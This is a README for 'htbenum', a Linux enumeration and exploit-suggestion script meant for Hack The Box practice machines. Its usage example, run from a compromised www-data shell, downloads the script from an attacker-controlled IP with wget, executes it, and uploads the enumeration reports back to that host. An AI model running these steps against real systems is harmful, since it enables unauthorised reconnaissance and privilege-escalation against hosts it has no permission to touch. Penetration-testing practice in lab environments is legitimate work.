htbenum: A Linux enumeration script for Hack The Box
htbenum
A Linux enumeration script for Hack The Box
This script is designed for use in situations where you do not have internet access on a Linux host and would like to run enumeration and exploit suggestion scripts, such as Hack The Box. I find myself running a similar set of scripts when I get an initial foothold on a Linux box, and this script helps automate the process of downloading the latest version of each enumeration script, making it executable, and running it, as well as sending output to a file for later review. It also has a builtin webserver to host the tools and upload reports back to the host machine.
Features
- 5 different enumeration scripts, including:
- 2 different exploit suggestion tools, including:
- Builtin webserver for hosting tools and uploading completed reports
- Automatic tool download and update feature
- Custom directory option, for when you know you have access to a specific directory (default is /tmp)
- Interactive menu lets you choose whether to run only enumeration, only exploit suggestion, or both
- Checks for Python 2 and 3 and lets you know which scripts will be skipped if Python is missing
Download
git clone https://github.com/SolomonSklash/htbenum.git
Use
start the builtin webserver to host the tools and receive the completed reports. The server requires Python 3. You can use your own webserver to host the tools, but it will need to support PUT requests for the report uploads.
root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
Finally, upload the htbenum.sh
script to your target machine, make it executable, and run it with the IP and port of your host machine, with an optional directory for downloading files and writing report output. You can also optionally upload the reports back to the host machine. For example:
www-data@htb:/tmp$ wget http://10.10.99.100/htbenum.sh -O /tmp/htbenum.sh www-data@htb:/tmp$ chmod +x ./htbenum.sh www-data@htb:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r
Each tool will send its output to a report file in the same directory as the htbenum.sh script, or whatever directory is specified by the -d parameter.
Copyright (C) 2019 SolomonSklash